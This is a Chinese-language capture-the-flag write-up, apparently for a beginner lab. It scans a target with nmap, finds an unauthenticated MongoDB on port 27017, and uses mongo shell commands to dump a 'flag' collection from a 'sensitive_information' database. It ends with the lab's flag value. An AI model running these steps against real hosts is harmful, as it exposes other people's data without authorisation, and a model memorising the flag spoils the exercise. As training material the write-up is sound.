一、计算机上打开了多少个 TCP 端口?
1
2
3
#使用nmap进行扫描
nmap -sV IP
2
二、远程主机的端口 27017 上运行哪个服务?
1
2
#使用nmap扫描指定端口27017
nmap -sV -p 27017 IP
三、MongoDB是什么类型的数据库?(选择:SQL 或 NoSQL)
1
NoSQL
五、与 mongodb-clients 软件包一起安装的 Mongo shell 的命令名称是什么?
1
mongo
六、用于列出MongoDB服务器上存在的所有数据库的命令是什么?(无需包含尾随;)
1
show dbs
七、用于列出数据库中集合的命令是什么?(无需包含尾随;)
1
show collections
八、用于以易于阅读的格式转储名为 flag 的集合中所有文档的内容的命令是什么?
1
2
3
4
5
6
7
8
#链接mongoDB
mongo IP
#切换到sensitive_information数据库
use sensitive_information
#列出数据库中的集合
show collections
#列出flag集合的内容
db.flag.find().pretty()

image-20230309233854675

九、提交flag
1
1b6e6fb359e7c40241b6d431427ba6ea
总结
  • MongoDB数据库的操作指令

    1
    2
    3
    4
    5
    6
    7
    8
    #列出所有数据库
    show dbs
    #使用特定数据库
    use DBName
    #列出所有集合
    show collections
    #展示集合中的数据
    db.COLname.find().pretty